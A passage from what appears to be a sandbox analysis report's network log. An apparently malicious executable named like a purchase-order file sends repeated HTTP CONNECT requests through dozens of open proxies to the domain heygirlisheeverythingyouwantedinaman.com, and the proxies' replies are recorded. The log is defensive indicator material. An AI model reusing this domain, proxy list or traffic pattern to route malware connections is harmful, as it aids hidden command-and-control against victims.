1251	192.168.2.11	52199	18.135.133.116	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.854716063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.150890112 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.11	52173	90.74.184.32	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.857738018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.886065960 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:43:30.979703903 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 829 Content-Type: text/html Date: Mon, 11 Mar 2024 15:43:27 GMT Expires: Mon, 11 Mar 2024 15:43:27 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.11	53928	45.11.95.165	5213	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.858093023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.208599091 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.11	53915	119.91.214.119	3389	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.858206987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.11	52276	116.50.174.181	17066	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.859989882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.11	53953	89.168.121.175	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.860516071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:08.664299011 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.11	52168	103.185.111.29	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.861057997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.11	53930	170.84.205.17	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.863177061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.11	52282	179.43.93.198	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.871310949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.985704899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.985920906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.11	53572	141.148.63.29	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875066996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.938849926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.938848019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.981149912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.075917006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.079073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.079073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.079044104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.11	53979	47.243.205.1	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875142097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.11	52699	64.227.108.25	31908	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875231028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.11	54069	35.190.107.16	30000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875536919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.11	54008	61.79.73.225	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875540972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.11	53998	37.235.53.208	6789	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.875633955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.194833994 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.11	52227	103.189.116.108	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.880877018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.985820055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.985704899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.373326063 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.11	54011	130.162.213.175	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.880997896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.499017000 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.11	54104	104.19.83.128	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.881061077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.035831928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.11	54088	107.180.103.214	45870	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.881155014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.485538960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.11	54078	159.89.138.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.881278992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.053540945 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.11	53743	64.56.150.102	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.881278992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.128674030 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 35 3a 34 32 3a 32 34 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 15:42:24 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.11	53986	193.124.189.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.881406069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.223211050 CET	361	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 150 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.11	54105	132.148.154.97	33130	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
